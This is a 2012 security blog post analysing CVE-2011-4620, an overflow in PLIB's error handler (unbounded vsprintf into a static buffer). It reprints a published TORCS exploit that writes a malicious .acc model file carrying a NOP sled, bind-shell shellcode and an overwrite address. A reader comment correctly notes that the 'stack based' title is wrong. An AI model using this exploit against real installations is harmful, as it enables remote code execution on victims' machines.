xorl %eax, %eax

CVE-2011-4620: PLIB Stack Based Buffer Overflow

with 2 comments

This was released as an exploit by Andres Gomez for TORCS which is available here. However, this was a bug located in PLIB library and more specifically in file src/util/ulError.cxx in the code snippet you see below.

static char            _ulErrorBuffer [ 1024 ] = { '\0' } ;
static ulErrorCallback _ulErrorCB = 0 ;
void ulSetError ( enum ulSeverity severity, const char *fmt, ... )
  va_list argp;
  va_start ( argp, fmt ) ;
  vsprintf ( _ulErrorBuffer, fmt, argp ) ;
  va_end ( argp ) ;
  if ( _ulErrorCB )
    (*_ulErrorCB)( severity, _ulErrorBuffer ) ;
    fprintf ( stderr, "%s: %s\n",
       _ulSeverityText[ severity ], _ulErrorBuffer ) ;
    if ( severity == UL_FATAL )
#ifdef WIN32
      // A Windows user that does not start the program from the command line
      // will not see output to stderr
      ::MessageBox(0, _ulErrorBuffer, "fatal error!:", 0);
      exit (1) ;

As you can see the code will always use the statically allocated ‘_ulErrorBuffer[]’ array which has size of 1024 Bytes. Any error messages longer than that will result in stack memory corruption.
This means that if the attacker is able to control even partially an error message’s length he/she would be able to exploit this vulnerability and achieve code execution.

Currently there is no fix for this problem so there is no workaround or patch to discuss. Moving to the exploitation, as I mentioned in the beginning of this post, Andres Gomez has already published an exploit for Windows platform. Let’s have a look…

/* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */
    This exploit generates a corrupted acc file
    which has to be saved in the directories where
    TORCS loads its data, for example replace
    cars/car4-trb1/car4-trb1.acc and put test.acc or create
    a new car/track and select it in the TORCS menu
#include <stdio.h>
#include <stdlib.h>
   Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
   Encoder: x86/shikata_ga_nai
unsigned char buf[] =

Just the Metasploit generated shellcode along with some useful comments. Moving to the code is exactly what you would expect…

// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";
int main(int argc, char **argv) {
    FILE *save_fd;
    int i=0;
    save_fd = fopen("test.acc", "w");
    if (save_fd == NULL) {
        printf("Failed to open '%s' for writing", "test.acc");
        return -1;
    fprintf(save_fd, "AC3Db\n");
    fprintf(save_fd, "MATERIAL \"");
    for(i=0; i < 607; i++) {
        putc('\x90', save_fd);
    fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4  amb 0.8 0.8 0.8  emis 0.4 0.4 0.4  spec 0.5 0.5 0.5  shi 50  trans 0\n", buf, function_pointer);
    fprintf(save_fd, "OBJECT world\n");
    fprintf(save_fd, "kids %d\n", 5);
    return 0;

It creates a malicious ACC file (named test.acc) which triggers the vulnerability through a ACC file parsing error and results in overwriting the ‘function_pointer[]’ to achieve code execution of the shellcode.

Written by xorl

January 2, 2012 at 09:25

Posted in vulnerabilities

2 Responses

Subscribe to comments with RSS.

  1. That’s not a stack-based buffer overflow at all – static buffers are stored in the BSS or data segments, not on the stack.


    January 19, 2012 at 13:05

  2. You are right. Thanks for the correction.


    January 22, 2012 at 23:44

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s